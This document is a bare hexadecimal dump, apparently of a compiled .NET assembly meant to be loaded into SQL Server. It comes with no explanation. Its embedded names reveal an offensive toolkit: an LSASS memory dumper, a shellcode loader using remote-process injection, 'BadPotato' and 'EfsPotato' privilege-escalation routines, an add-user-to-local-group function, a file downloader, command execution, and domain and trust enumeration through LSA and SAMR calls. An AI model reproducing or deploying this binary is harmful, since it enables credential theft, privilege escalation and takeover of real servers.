0C300F05F000000009600B2117602C4004860000000009600C6115400C500E461000000009600D1112F01C600FF61000000009600DF115400C6001C62000000009600ED115400C7007462000000009600F2115400C8005463000000009600FD112F01C900E86300000000960009127C02C90014640000000096001B128502CB00486400000000960023125400CD0050680000000096002B128C02CE00A86800000000960034125400CF00E06800000000960039122F01D000586A0000000086188F062E00D0007C6A00000000960041123800D00028700000000096004F125400D20000000000800096205C129102D3000000000080009320DE078700D50000000000800096206B129702D70000000000800096207C129B02D7000000000080009620FD0B9102DF000000000080009620A712AA02E20000000000800096200E0C8700EA000000000080009620BF12B602EC000000000080009620CF12BF02F1000000000080009620E012CA02F8000000000080009620F712D202FC0000000000800096203F0CE702070100000000800096200C13F4020B010000000080009620D90B46010E0100000000800096202113FB021301D6750000000086188F062E001C010000000080009120371427031C01E0750000000096008814320322010000000080009120A2143A0324010000000080009120B3144D032B014876000000009600C5143B0132016076000000009600E9145F033401E076000000009640C514660336010000000080009320FA146E033901000000008000932005157A033D010000000080009320131584034101000000008000932020158D03450100000000800093203515960348010000000080009320431596034901000000008000932052159B034A0100000000800093206815A0034B01000000008000932075159603520100000000800093208615AF035301000000008000932094158200570100000000800093209D15BE0358010000000080009320B81596035D010000000080009320C615CA035E010000000080009320E515D50361010000000080009320F315E0036601547800000000964002165F036B0100000000800093201716EE036D0100000000800093202316FB03730194790000000096403D160504780100000000800093204C160B0479010000000080009320581687007C010000000080009320651613047D01347A0000000093407D161D048101D07A0000000086188F062E008401D87A000000008640261738048401047B00000000E64131172E0085011C7B00000000C64039173D0485013F7B0000000086188F065A048501567B00000000C60039173D0488015E7B0000000086188F062E008801667B0000000086188F062E0088016E7B0000000086083F1FBD048801767B000000008608521FC1048801807B000000008440E20EFA018901BC7C000000008440F10E2E008F010C7D000000009440FA0E07028F01217D000000009440090F0C0290012C7D000000008440140F11029101F87E000000009440651FC6049201247F000000008440190F16029401327F0000000084402D0F1B029501407F0000000084403B0F1F0295018C7F0000000084188F062E009701C37F0000000086188F064F029701D47F0000000091189D3A2F01990120800000000086188F065F029901C8800000000091189D3A2F019C0104810000000086188F06DD049C0100000000030086188F062602A101000000000300C601510F1602A301000000000300C601730F2C02A401000000000300C6017F0F3502A70100000000030086188F062602A801000000000300C601510F3B02AA01000000000300C601730F4002AB01000000000300C6017F0F4902AE0100000000030086188F062602AF01000000000300C601510F1102B101000000000300C601730F4002B201000000000300C6017F0F3502B50100000000030086188F062602B601000000000300C601510FE604B801000000000300C601730FEC04BA01000000000300C6017F0F4902BE01D8810000000086588F062E00BF01388200000000C4401A0E2E00BF016482000000008640BC1FF604BF010C84000000008640CB1FFE04C201E484000000008640D51F0405C301F885000000008140F01F0E05C601AC8600000000864018201505C701248900000000814027202505CC01B88900000000814045203405CE018C970000000091189D3A2F01D00100000000800093202A0DB401D0010000000080009320930D3D05D2010000000080009320930D4505D5010000000080009320930D5105DA010000000080009320930D5F05E0010000000080009320930D6905E5010000000080009320930D7905ED010000000080009320930D8305F2010000000080009320930D9105F9010000000080009320930D9D05FE010000000080009320930DA90504020000000080009320460D7B000C020000000080009320930DB8050F020000000080009320930DC70516020000000080009320580DBB011E020000000080009320670DC1011F0200000000800093207C20D305250200000000800093209420E4052C0200000000800093209420F105320200000000800093207F0DFB0538020000000080009320AA2002063B020000000080009320BD2008063D0201980000000086188F062E003E0209980000000086188F062E003E0214980000000086588F06C1043E02749800000000C4401A0E2E003F02A098000000008640412112063F02C0990000000081405A2120064202E89C0000000091189D3A2F014302579D0000000086088E21320643025F9D000000008608A42138064302689D000000008608BA213D044402709D000000008608C52138044402799D000000008608D0213F064502819D000000008608DF21430645028A9D0000000086188F0648064602A09D000000008600EE2150064802B69D000000008600EE2155064902D49D000000008140FF2155064B02D89F000000008140182255064D0250A200000000964032225D064F0200000000030086188F0626025102000000000300C601510F78065302000000000300C601730F7E065402000000000300C6017F0F49025702C2A20000000086188F062E005802CCA20000000086588F062E0058022CA300000000C4401A0E2E00580258A3000000008640C8228806580298A4000000008640D422FE045B0274A5000000008640E42290065C0230A700000000814004239F0661024CA80000000086401E23A7066202ACA90000000086403A23B006650200AB0000000086404923BA06690230B30000000091189D3A2F016F02A8B30000000086588F062E006F0200B400000000C4401A0E2E006F022CB40000000086407023CA066F02E8B50000000086407F23FE047402C8B60000000086408F23D706750240CB0000000091189D3A2F017A02794B0000000086188F062E007A02814B00000000860041376C097A02606A0000000086188F062E007C02686A000000008600F53E2E007C020C700000000086188F062E007C021470000000008600573F2E007C0200200100F023000002001C2400000300222400000400262400200100F023002002002F24000003001C24000004002224000005003924000001004624000002005124000003005A24000004006324000001004624000002006E24000003005124000001005124000002005A24000001007824000002007C24000001008524000002008924000001005A0A000002009324000003009D2400000400A32400000500AC2400000600B52400000700C52400000100D32400000200DA2400000100E22400000100E22400000100EA2400000100EE2400000200F00C000003006B0A000001005A0A00000200FE24000003000825000004000F25000005002025000001005A0A000002002A2500200300382500000400412500000500472500000100EE2400000200F00C00000300770A000001005E2500000200630A00000300652500000100630A000001006C2500000100742500000200862500000300942500000400A22500000500B22500000600C22500000700D02500000800DE2501000900EB2502000A000326000001002226000001002D26000002003426000001003826000002003426000001003D26000002003426000001003D2600000100EA24000001004226000002004726000001007C24000002004B26000001005526000002005D2600000100EA24000001006926000001006926000001009D24000002003825000003006B2600000400802600000500942600000100A12600000200AC2600000300B32600000400B92600000500BC2600000600BF2600000700C42600000100C92600000200CE2600000300D12600000400D42600000500D72600000600DA2600000700DD2600000800C42600000100E02600000200C42600000100E02600000100E52600000100EC2600000200F826000003000D27000004001627000005002327000006003127020001003E27020002004827000003005327000004004125002000000000000001006427000002007127020003007827000001007F27000002007425000003008625000004008627000005009A2700000600B22500000700AD2700000800D02500000900BD2700000A00D02702000B00DE2700000100F327000001000128020002000F2800000100192800000200750E000003002928000001002E28000001003728000002003F28000003004728000004005328000005005C28020006006428000001007428000002007C2800000300832800000100192800000200750E000003008F2802000400972800000500A02800000600471002000100972800000200A02800000300471000000100A92800000200350E000003004B0E00000400E02600000500B52800000600AD0F00000100C12800000100C62800000100CD2800000100DA2800000100DA2800000200292800000100F52800000200FC2800000100C12800000100C12800000200032900000300F528000001000C2900000100F52800000200FC2800000100C62800000100C62800000200032900000300F528000001000C29000001001329000002002929000001003F29000002001329000003002929000001004329000002005329000003006E29000004007D29000001008829000002009329000001009F2900000100AA29000001007C2400000100AA2900000100AE29000001007C2400000100B22900000200B92900000100C02900000200CC2900000100DA2900000100E02900000100E02900000100EE2900000200472600000100F32900000100FB29000002007F2700200000000000000100E52600000100032A000002000C2A00000300152A000004001E2A000005002B2A00000600392A00000700462A00000800552A00200000000000000100E52600000200682A00200000000000000100732A000002007E2A00000300862A00000400952A00000500AA2A00000600BF2A00000700CA2A00200000000000000100732A00200000000000000100DB2A00000200E82A00000300F62A00000400EC2600200000000000000100012B00000200EE2400000300102B00000400222B00000500352B000006003F2B00200000000000000100D025000002007F27000003004A2B000001007F27000002007425000003008625000004008627000005009A2700000600B22500000700AD2700000800D02500000900BD2700000A00D02702000B00DE27000001003E27000002004827000003005327000004004125000001006C2500000200532B00000300270B000001009D24000002003825000003006B26000004008026000005009426000001007F27000002005A2B00000300742500000400862500000500AD2700000600D02500000700BD2701000800D02702000900DE2700000100672B00000200742B000003007F2B000004008C2B00000500982B00000600A82B00000100B02B00000200BB2B00000100642700200200DF1800000300712700000400C82B00000500D02B00000600E52B02000700FD2B00000100642700000200032C00200300DF1800000400112C00000500D02B00000600E52B02000700FD2B00000100172C00000200212C00000100282C00000200212C00000100172C00000200212C02000300342C00000100462402000200452C00000300532C00000400612C00000100692C00000200E82A00000300732C020004007C2C000001007C2C00000200E82A00000300892C02000400912C00000100912C020002009D2C02000300A52C00000100C62800000100692C00000100B32C00000100BA2C000002001C2400000300C52C00000400CC2C00000500D72C00000600392400000700E32C000001000B1900000100F12C00000200FC2C00000300E82A020004000D2D000001001A2D000001000D2D00000200272D020003000B19000004003A2D02000500A52C00000100502D000001000D2D00000200582D020003006A2D000001000D2D00000200DB23000003007A2D02000400852D02000500932D000001000D2D00000200DB23000003007620020004009F2D02000500B12D00000100212C00000200B62D00200100C62D00200200BB1901000300B01900200400D32D00000500471002000600DC2D01200100212C01200200F42D000003001C2400000400FC2D02000500042E00000100212C000001000B2E02000200182E00000300222E00000100182E00000100BA2C000002004710020003004419020004007921000001002B2E00000200322E00000300372E00000100482E000001004A2E00000200542E000003005E2E00000100652E00000100A92800000200350E000003004B0E00000400E02610100500B52810100600AD0F00000100C12800000100C62800000100CD2800000100CD28000002006B2E00000100DA2800000100DA28000002002928000001001329000002002929000001003F29101002001329101003002929000001004329000002005329000003006E29000004007D2900000500742E00000100F52800000200FC2800000100C12800000100C12800000200032900000300F528000001000C2900000100F52800000200FC2800000100C62800000100C62800000200032900000300F528000001000C2900000100F52800000200FC2800000100CD2800000100CD2800000200032900000300F528000001000C2900000100F52800000200FC2800000100CD28000002006B2E00000100CD28000002006B2E00000300032900000400F528000001000C2900000100F12C00000200E82A020003000D2D00000100932E000001000D2D00000200A02E02000300B12E00000100C32E000001000D2D00000200DB2E02000300E92E00000400F62E02000500022F00000100DB2E000002000E2F000001001B2F00000200332F000001000128020002000F2800000100192800000200750E00000300492F00000100192800000200750E00000300502F00000400BF26000005005D2F00000100192800000200750E00000300642F00000400752F00000500E82A020006000D2D00000100192800000200750E000003000D2D00000400A02E02000500C32E00000100192800000200750E000003000D2D00000400862F020005001B2F00000600332F00000700F62E02000800022F00000100192800000200750E00000300502F02000400932E00000500E82A00000100192800000200750E00000300932E00000400272D02000500912F000006003A2D02000700A52C00000100192800000200750E00000300932E000004009E2F02000500A92F00000100192800000200750E00000300932E00000400E82A00000500A92F020006007C2C00000100192800000200750E000003007C2C00000400272D00000500AD2F02000600912F000007003A2D00000800A52C00000100192800000200750E00000300292800000100C02F00000200C82F000003000B2E02000400FB2900000500D02F00000600DA2F00000700EC2F00000100C02F00000200C82F00000300FB2F000004000430000005000D30000006001830000007002830000008003730000001002E28000001003728000002003F28000003004728000004005328000005005C28020006006428000001000F28000002003F30000003004F30000004005A30000005006330000006007030000007007930000001000F28000002003F30000003004F30000004005A30000005006330000006007030000001000F28000002003F30000003004F30000004005A30000005008530000006007030000001007428000002007C2800000300832800000100A92F000002008D30000001009F3010100100A43000000100212C00000200BF2602000300B73000000100BF3000000100652E00000100652E00000100652E00000100212C10100200D23010100100E43000000100FC2810100200E43000000100FC2800000200E43000000100FC2800000200E43000000100EF1E00000200F23000000100F52800000200FC2800000100F63000000100F63000000200032900000300F528000001000C2900000100212C02000200932E00000300E82A00000100932E00000100932E00000200272D020003000B19000004003A2D02000500A52C00000100912F00000100932E00000200DA1802000300732C00000100932E00000200E82A00000300732C020004007C2C000001007C2C00000200272D00000300AD2F020004000B19000005003A2D02000600A52C000001000B2E02000200FB2900000300D02F00000400DA2F00000500EC2F00000100932E00000100FB2F000002000430000003000D300000040018300000050028300000010052370000020029282B001900A9008F06E506B9008F062E00C1008F062E00C9008F062E00D1008F060107E1008F060707E9008F062E00F1008F063804F900EC310C070101F531380409008F062E0009018F061E07190126322B0719014832320729016B32380741018F063E0739019632460739019B324E073901A1322E002901A1322E001901A7322E00090039173D045901B4323B018100D1326C0769018F06710769010033770779010E338C0259011533860779011C335400790123338C0781018F069207310031172E00610161333D0491017433260199018133AB0799019433B3079901A3333D045901B3333E009901BF33BA079901C6331B0259011533BE0759011533C60741018F06CD0741010234DB07C9012134E107D1015D34E607D9016A34EB07D9017534F207E9010E338C02F1018F062E005901A63415085901B4341A085901BA3421080102B434270891010A35070209021E358C07110238358308110242358908A10139173D0479014B35E1070C008F062E0014006F35CF081C007D35E0080102B434E5080C009635EF081C009A35BD049901A335F7080C00B035FE083102BF352F0114008F062E001400D5352A09D901A1322E00D901DE35EB07D901FD353F0999018F062E0099011736480949022536380449023236C10449024636C10449026036C10449027B36C10449029536C1049901A836BD049901BB364E095902D83638049901E2362E009901A1322E00610231172E00690259373D047900623774095901B4327A0959016D378C0249027B37380449029C37820979008F062E0079028F0626029901C53789099901DC372E009901FD37900989021A383D0499012438BA0779003138BA075901B432960991028F062E0059011533AD09810057383D04810060381B0299027238B40999027938B90951008B38BD0951003917C2095901B432C70991018F0607079101B3339102A1028F060707A9028F06C104B1028F062602B9028F06CE09B902D338C104B902A836D5092100E43850065901B432DA09C102F238E0091102F738830811020339EB0959010D3915085901B432450AC9022439BD0421008F062E0021003E39AE0151008F0638049101A139B90909001A0E2E009902AA39660A5900CA396B0A5900D0391B029902E33908065900EE392E009902F339B909D902D836540091010C3A910299021A3A0C029101263A740A9902443A850A9902623A070299026F3A9B0AA1013917C20991018F06A00A91013917C20999027E3AAC0AF1023C3BBF0A0103D43BD30A99027238DC0A51008F06E90A3901E63BF80A3901F03BBA0711038F0638041903073CE107E901133C270821032B3CBD047100363C1C0B7100133C220B2103543C290B1903633CE10771008F063804E9011C33410B79016F3C470BC901A53C5B0BE901BA3C540059013138BA075901CE3C5F0B1400103D7F0BE901183D5B0B59010C3A3E00E901133C8D0BE901363C8D0BC1022C3D930B11033138740A510339173D047901623D9F0B6103943DA60B59018F06AF0B79019D3D050479038F062E007903F531E00B8103FF3DE70B99032B3EF70B99034C3EFD0BA1036C3E040CA103783EBA0799039A3E0A0CB103B23E110CB103C43E110CC901093F5B0BB9038F062602B9028F06320CB902A8362E00B902253F500679002A3FBA07C901373F5B0BC9016A3F5B0BC1038F062E00C9038F06980C8900F53F3D048900373F3D04E103D8365400890006403D04A1028F062E0081008F063B0291008F06B90C79001340C00CE9038F06D20C91008F06380461016C403D0491007B40BA0791008C40B90C5901B432780DF9038F06D20CA9013917C2099902CA40B10E91008F063B029900D940D50E9900E240D90E5901CE3CEB0E59010941320099026F3A880F01048F06070709048F062E0011048F0638042C008F062E002C009635381099024C4196032C006F35CF0834007D35E00834009A35BD0491010A3596033C008F062E003C0096353810A1008F0616119100144335009902F03B52119902E63B5711990224435D1108002C00B10008003000B60008003400BB0008003800C00008003C00C50008004000CA0008004400CF0008004800D40008004C00D90008005000DE0008005400E30008005800E80008005C00ED0008006400B60008006800BB0008006C00C00008007000C50008007400CA0008007800CF0008007C00D40008008000D90008008400DE0008008800F60008008C00FB0008009400E80008009800040108009C0009010800A0000E010800A40013010800AC00C5000800B000CA000800B400CF000800B800D4000800BC00B6000800C000BB000800C4001C010800C800C0000800CC0021010800D00021010800F402BB000800F8020E030800FC021303080000031803080004030E0308000803BB0008000C03B600080010031803080014031D0308001803220308002003B60008002403BB00080028030E0308002C031C01080030032904080034032E0408003803330408003C03C00008004003130309005403180309005803B60009005C03BB00090060030E03090064034604090068034B0409006C03500409007003550409004804B60009004C04C50009005004CA0009005404CF0009005804D40009005C04D90009006004DE0009006404E30009006804780409006C04E800090070040401090074047D0409007804820409007C048704090080048C0409008404210109008804460409008C04ED0009003405B60009003805BB0009003C051C0109004005C00009004405C50009004805CA0009004C05960408007C05B60008008005BB00080084050E03080088051C0108008C052904080090052E0408009405330408009805C00008009C0513030800A005A40407003506F40607003906F70607006906F40607006D06F70608005807B60008005C07BB00080060071C0108006407C00008006807C50008006C07CA000800AC0718030800B007B6000200F908FA0612001D09180308002109FC0608002909FC062E002B0006122E0033000F122E003B00181220029301B60023072307B60063072307B600A3072B07920FE3072B07A40FC30A2B07B110E30A2307B600C30B2B077011C30C4303B600E30C4303B600600D5306B600630D4303B600830D4303B600A00D5306B600C00D5306B600E00D5306B600000E5306B600000E5B06A20C200E5306B600200E5B06A20C400E5B06A20C400E5306B600600E5B06A20C600E5306B60020144303B60040144303B60024152300B600201D4303B600401D4303B600601D4303B600801D4303B600A01D4303B600C01D4303B600612F4303B600C4322300B600A13D4303B600C13D4303B600E13D4303B6000300EB060B00EB060D00EB065B00ED06A400630AED00EF06AB01EF06BC018E0FBF01EF06C0018E0FC2018E0FC4018E0FC501EF06CC018E0FD501EF06D901EF06E301EF06F101EF061002EB061202EB061802EB061A02EB061E02EB062002EB064B02F1065B02F106A802900FAA02900FDB02EB06DD02EB06E102EB06E702EB06E902EB068403EB068803EB068C03EB0602000102D90C02004502980D02005102980D02006102980D06006902FC0E06006D02FC0E06007102FC0E06008D02980D06009102980D06009502980D06009902980D06009D02980D0600A102980D0600A502980D0600A902980D0600AD02980D06000903980D02000D03980D06001103980D06001503980D06001903980D06001D03980D06002103980D06002503980D06002903980D06009103980D02009503980D02009903980D02009D03980D0200C903980D0200CD03980D0600D103980D0600E903980D0200ED03980D0600F103980D0600F503980D0600F903980D0600FD03980D06000104980D06000504980D06000904980D06001104980D02001504980D06001904980D06001D04980D06002104980D010038000000680001003A00000069000100120000006A000100350200006D000100550200006E0001009D0300006F000100190300007000010037000000710001003900000072000100BF000000730001008D000000740001003D020000750001005902000076000100F300000077000100C700000078000100CB080000790001004F0900007A0001009F0000007B000100870000007C0000000000FA0004000000FB0008000000FC0010000000FD0010000000FE0010000000FF0012071807250756077E079D07F7072E0875087D088F08A008B2080709350954099C09F1091A0A4B0A5A0A780A8C0A970AA50AB40AE30AFD0A0D0B300B4F0B650B690B700B850BB50BED0B170C390C680CAF0CB50CC50C7F0DB90EDF0EF00E3500C70FD60FE50FEE0FF70FFC0F0F101B102810461072108110DA10F0101C11361163117C119111A011B311D811E911400001005C00020000008C1FCF040000A5226A060000B72270060000D70E74060200A10003000100A20003000100EA0005000200E90005000100EC0007000200EB0007000200ED0009000100EE000900A531C532E734F034FD34283935395139E93F9A40A540EF40C108C908D908570A31103E10E8100001030054060100000105005F060100450317004F070200440127008B070300440129009707030044012B00A607030044012D00B907040044012F00C407040044013100D107040044013300DE07030046033500EA07050040015D00D90B040044015F00E20B040044016100ED0B040044016300FD0B0400400165000E0C060047016700DE07040040016900290C060046016B003F0C040046016D004A0C060044016F005F0C0700040375005C390800040277007939080004037900580D080004037B008839080000037D007F0D080004027F00793908004001D5005C1206004001D700DE0704000002D9006B1204006601DB007C1204004001DD00FD0B04006601DF00A71204004001E1000E0C06004001E300BF1206004001E500CF1206004001E700E01209004401E900F71206004001EB003F0C04004001ED000C1304004001EF00D90B04004401F100211307004401F500371406004401F900A21406004001FB00B314060000010301FA140A000001050105150A000001070113150A000001090120150A0000010B0135150A0000010D0143150A0000010F015215060004011101681501000601130175150B0000011501861506000001170194150600000119019D15060000011B01B815060000011D01C615060040011F01E515060000012101F31507000401250117160100040127012316010044012B01FC400C0044012D0158160C0046012F0165160100040399015C39080004029B017939080004029D017939080004029F01793908000402A101793908000402A301793908000402A501793908000402A701793908000402A901793908000402AB01793908000402AD01793908000402AF01793908000402B101793908000402B301793908000403B501580D08000403B701883908000403B9011E4208000403BB01374208000403BD01374208000003BF017F0D08004001C101AA2006004001C301BD200600505B00000D02885B00000E02C85B00000F02E05B00001002408C00001102788E00001202D09000001302709400001402209B00001502589B00001602989B00001702589C00001802D0AC0000190210AF00001A0270B100001B0268B200001C02F8B700001D02C8C000001E0218CA00001F02B8CA000020020480000000000000000000000000000000002E0000000200000000000000000000000100F405000000000200000000000000000000000100FD05000000000200000000000000000000000100B2310000000003000200040002000A0009000B0009000C0009000D0009000E0009000F0009001000090015001400160014001700140018001400190014001A0014001D001C001E001C002600250027002500280025002A0029002B0029002C0029002D0029002E0029002F002900300029003100290032002900330029003400290035002900360029003700290038002900390029003A0029003B0029003C0029004100400042004000430040004400400045004000460040004700400048004000490040004A0040004C004B004D004B004E004B004F004B0050004B0051004B0052004B005400530055005300590058005A0058005D005C0060005F0061005F006300620064006200650062006600130068006700690067006A0067006B0025006C0025006D0067006E0067006F006700700067007100670072006700730067007400670075006700760067007700670078006700790067007A0067007B0067007C00670063019B0B0000003C4D6F64756C653E00434C525F6D6F64756C652E646C6C004C6F63616C47726F75705573657248656C70657200434C525F6D6F64756C65004C4F43414C47524F55505F4D454D424552535F494E464F5F3300555345525F494E464F5F31006164647573657200646F776E6C6F61640064756D706C736173730053746F72656450726F63656475726573007368656C6C636F64656C6F616465720050726F6365737341636365737352696768747300546872656164416363657373004D656D416C6C6F636174696F6E004D656D50726F746563740050524F434553535F494E464F524D4154494F4E0050524F434553535F42415349435F494E464F524D4154494F4E0053544152545550494E464F00676574617600524450006578656300506F7461746F00544F4B454E5F50524956494C45474553004C5549445F414E445F41545452494255544553004C5549440053454355524954595F415454524942555445530050726F636573735761697448616E646C65004566737254696E7900616C6C6F636D656D6F727900667265656D656D6F727900434F4D4D5F4641554C545F4F464653455453005250435F56455253494F4E005250435F53594E5441585F4944454E544946494552005250435F434C49454E545F494E54455246414345004D49444C5F535455425F44455343006261736566756E00426164506F7461746F004E61746976654D6574686F64730050696E67436173746C65005349445F4E414D455F55534500554E49434F44455F535452494E470053484152455F545950450053484152455F494E464F5F3530330053484152455F494E464F5F31004C53415F4F424A4543545F41545452494255544553004C53415F54525553545F494E464F524D4154494F4E004C53415F464F524553545F54525553545F494E464F524D4154494F4E004C53415F464F524553545F54525553545F444F4D41494E5F494E464F004C53415F464F524553545F54525553545F42494E4152595F44415441004C53415F464F524553545F54525553545F5245434F5244004C53415F5245464552454E4345445F444F4D41494E5F4C495354004C53415F5452414E534C415445445F4E414D45004C53415F5452414E534C415445445F53494400444F4D41494E5F434F4E54524F4C4C45525F494E464F00445347455444434E414D455F464C41475300535441545F574F524B53544154494F4E5F300044535F444F4D41494E5F54525553545F545950450044535F444F4D41494E5F545255535453004C53415F444F4D41494E5F494E464F524D4154494F4E0050696E67436173746C652E525043004C53415F4C4F4F4B55505F524553554C54007270636170690047454E455249435F42494E44494E475F524F5554494E455F504149520062696E6400756E62696E64006C7361004C534150525F4F424A4543545F41545452494255544553004C534150525F504F4C4943595F4143434F554E545F444F4D5F494E464F004C534150525F5349445F454E554D5F425546464552004C534150525F5245464552454E4345445F444F4D41494E5F4C495354004C534150525F54525553545F494E464F524D4154494F4E004C534150525F5452414E534C415445445F4E414D4553004C534150525F5452414E534C415445445F4E414D45005345435F57494E4E545F415554485F4944454E54495459005250435F53454355524954595F514F530054727573746564446F6D61696E0054727573746564446F6D61696E466C6167006E727063004E45544C4F474F4E5F545255535445445F444F4D41494E5F41525241590044535F444F4D41494E5F5452555354535700547970654F66456E756D65726174696F6E004E756C6C53657373696F6E54657374657200456E756D65726174650053414D525F454E554D45524154494F4E5F454E5452590073616D720053414D50525F454E554D45524154494F4E5F4255464645520053414D50525F5249445F454E554D45524154494F4E007270726E004445564D4F44455F434F4E5441494E4552005250435F56325F4E4F544946595F4F5054494F4E535F54595045005250435F56325F4E4F544946595F4F5054494F4E53006D73636F726C69620053797374656D004F626A6563740056616C75655479706500456E756D0053797374656D2E546872656164696E67005761697448616E646C65004D756C74696361737444656C65676174650049446973706F7361626C65004E657455736572416464004E65744C6F63616C47726F75704164644D656D6265727300416464557365720047726F75704164644D656D62657273002E63746F7200646F6D61696E616E646E616D650075737269315F6E616D650075737269315F70617373776F72640075737269315F70617373776F72645F6167650075737269315F707269760075737269315F686F6D655F64697200636F6D6D656E740075737269315F666C6167730075737269315F7363726970745F706174680061646400446F776E6C6F616446696C650072756E0053797374656D2E52756E74696D652E496E7465726F705365727669636573005361666548616E646C65004D696E6944756D70577269746544756D7000497348696768496E7465677269747900436F6D7072657373004D696E6964756D7000436C7245786563004F70656E50726F63657373005669727475616C416C6C6F63457800577269746550726F636573734D656D6F7279004F70656E5468726561640051756575655573657241504300526573756D6554687265616400436C6F736548616E646C650043726561746550726F6365737300537461727450726F63657373005830720072756E310072756E320076616C75655F5F00416C6C005465726D696E61746500437265617465546872656164005669727475616C4D656D6F72794F7065726174696F6E005669727475616C4D656D6F727952656164005669727475616C4D656D6F72795772697465004475706C696361746548616E646C650053657451756F746100536574496E666F726D6174696F6E005175657279496E666F726D6174696F6E0051756572794C696D69746564496E666F726D6174696F6E0053796E6368726F6E697A65005445524D494E4154450053555350454E445F524553554D45004745545F434F4E54455854005345545F434F4E54455854005345545F494E464F524D4154494F4E0051554552595F494E464F524D4154494F4E005345545F5448524541445F544F4B454E00494D504552534F4E415445004449524543545F494D504552534F4E4154494F4E005448524541445F48494A41434B005448524541445F414C4C004D454D5F434F4D4D4954004D454D5F52455345525645004D454D5F5245534554004D454D5F52455345545F554E444F00536563436F6D6D697400504147455F4558454355544500504147455F455845435554455F5245414400504147455F455845435554455F52454144575249544500504147455F455845435554455F5752495445434F505900504147455F4E4F41434345535300504147455F524541444F4E4C5900504147455F52454144575249544500504147455F5752495445434F505900504147455F544152474554535F494E56414C494400504147455F544152474554535F4E4F5F555044415445006850726F63657373006854687265616400647750726F6365737349640064775468726561644964005265736572766564310050656241646472657373005265736572766564320052657365727665643300556E69717565506964004D6F72655265736572766564006362006C705265736572766564006C704465736B746F70006C705469746C6500647758006477590064775853697A650064775953697A6500647758436F756E74436861727300647759436F756E74436861727300647746696C6C41747472696275746573006477466C616773007753686F7757696E646F770063625265736572766564006C705265736572766564320068537464496E70757400685374644F757470757400685374644572720053797374656D2E436F6C6C656374696F6E732E47656E65726963004C69737460310061764C6973740052756E436F6D6D616E6400456673506F7461746F50726F6700456673506F7461746F4578656300527063546872656164004E616D656450697065546872656164005265616446696C650043726561746546696C65004372656174654E616D65645069706500436F6E6E6563744E616D65645069706500496D706572736F6E6174654E616D656450697065436C69656E740041646A757374546F6B656E50726976696C656765730043726561746550697065004C6F6F6B757050726976696C65676556616C75650043726561746550726F636573734173557365720050726976696C656765436F756E740050726976696C65676573004C7569640041747472696275746573004C6F775061727400486967685061727400647746696C6C41747472696275746500636252657365727665643200685374644572726F72006E4C656E6774680070536563757269747944657363726970746F720062496E686572697448616E646C65004D6963726F736F66742E57696E33322E5361666548616E646C657300536166655761697448616E646C650052706342696E64696E6746726F6D537472696E6742696E64696E67004E6472436C69656E7443616C6C327838360052706342696E64696E674672656500527063537472696E6742696E64696E67436F6D706F73650052706342696E64696E675365744F7074696F6E004E6472436C69656E7443616C6C32783634004D49444C5F50726F63466F726D6174537472696E67783836004D49444C5F50726F63466F726D6174537472696E67783634004D49444C5F54797065466F726D6174537472696E67783836004D49444C5F54797065466F726D6174537472696E67783634004775696400696E7465726661636549640046696E616C697A65004566735270634F70656E46696C65526177004D49444C5F50726F63466F726D6174537472696E67004D49444C5F54797065466F726D6174537472696E6700474348616E646C650070726F63537472696E6700666F726D6174537472696E670073747562006661756C746F66667365747300636C69656E74696E7465726661636500506970654E616D6500416C6C6F636174654D656D6F727944656C656761746500467265654D656D6F727944656C65676174650052504354696D654F757400496E697469616C697A655374756200667265655374756200416C6C6F636174654D656D6F727900467265654D656D6F72790042696E640047657450726F63537472696E6748616E646C65004765745374756248616E646C650043616C6C4E6472436C69656E7443616C6C3278383600496E766F6B6500494173796E63526573756C74004173796E6343616C6C6261636B00426567696E496E766F6B6500456E64496E766F6B6500436F6D6D4F6666736574004661756C744F6666736574004D616A6F7256657273696F6E004D696E6F7256657273696F6E0053796E746178475549440053796E74617856657273696F6E004C656E67746800496E746572666163654964005472616E7366657253796E7461780044697370617463685461626C650052706350726F74736571456E64706F696E74436F756E740052706350726F74736571456E64706F696E7400526573657276656400496E746572707265746572496E666F00466C616773004949445F53594E54415800527063496E74657266616365496E666F726D6174696F6E0070666E416C6C6F636174650070666E4672656500704175746F42696E6448616E646C65006170666E4E647252756E646F776E526F7574696E6573006147656E6572696342696E64696E67526F7574696E655061697273006170666E457870724576616C0061586D69745175696E7475706C650070466F726D617454797065730066436865636B426F756E64730056657273696F6E00704D616C6C6F6346726565537472756374004D49444C56657273696F6E00436F6D6D4661756C744F6666736574730061557365724D61727368616C517561647275706C65004E6F74696679526F7574696E655461626C65006D466C616773004373526F7574696E655461626C65730050726F7879536572766572496E666F007045787072496E666F00436F6D62696E6546696C650053797374656D2E494F004469726563746F7279496E666F00736574417474726962757465734E6F726D616C0044656C65746546696C650047657443757272656E744469720053657443757272656E74446972004563686F00476574436F6E74656E74004C69737450726F6365737300436F6E636174537472696E6741727261790069734172726179004C6973744469720050696E67486F73740070696E67006E65747374617400426164506F7461746F506F726300426164506F7461746F434D4400536574546872656164546F6B656E0047657443757272656E74546872656164004372656174654E616D656450697065570053797374656D2E5465787400537472696E674275696C646572004765744E616D65645069706548616E646C655374617465004F70656E546872656164546F6B656E004475706C6963617465546F6B656E457800437265617465456E7669726F6E6D656E74426C6F636B0043726561746550726F63657373417355736572570053657448616E646C65496E666F726D6174696F6E0043726561746550726F6365737357697468546F6B656E57006C70536563757269747944657363726970746F72004C4F474F4E33325F4C4F474F4E5F494E544552414354495645004C4F474F4E33325F4C4F474F4E5F4E4554574F524B004C4F474F4E33325F4C4F474F4E5F4E45575F43524544454E5449414C53004C4F474F4E33325F50524F56494445525F44454641554C54004C4F474F4E33325F50524F56494445525F57494E4E543530004C4F474F4E33325F50524F56494445525F57494E4E543430004C4F474F4E33325F50524F56494445525F57494E4E543335004E4F5F4552524F52004552524F525F494E53554646494349454E545F425546464552004552524F525F494E56414C49445F464C414753004C6F676F6E557365720053797374656D2E53656375726974792E5072696E636970616C0057696E646F77734964656E746974790053797374656D2E4E6574004E6574776F726B43726564656E7469616C0047657457696E646F77734964656E74697479466F7255736572004C6F6F6B75704163636F756E74536964004C6F6F6B75704163636F756E744E616D6500436F6E76657274534944546F4E616D650053656375726974794964656E74696669657200436F6E766572744E616D65546F5349440053616D436F6E6E6563740053616D4F70656E446F6D61696E0053616D4F70656E416C6961730053616D4765744D656D62657273496E416C6961730053616D467265654D656D6F72790053616D436C6F736548616E646C65004C73614E74537461747573546F57696E4572726F72004E65745368617265456E756D004E657441706942756666657246726565004C73614F70656E506F6C696379004C7361436C6F7365004C7361456E756D657261746554727573746564446F6D61696E73004C7361467265654D656D6F7279004C73615175657279466F726573745472757374496E666F726D6174696F6E004C73614C6F6F6B757053696473004C73614C6F6F6B75704E616D65730047657453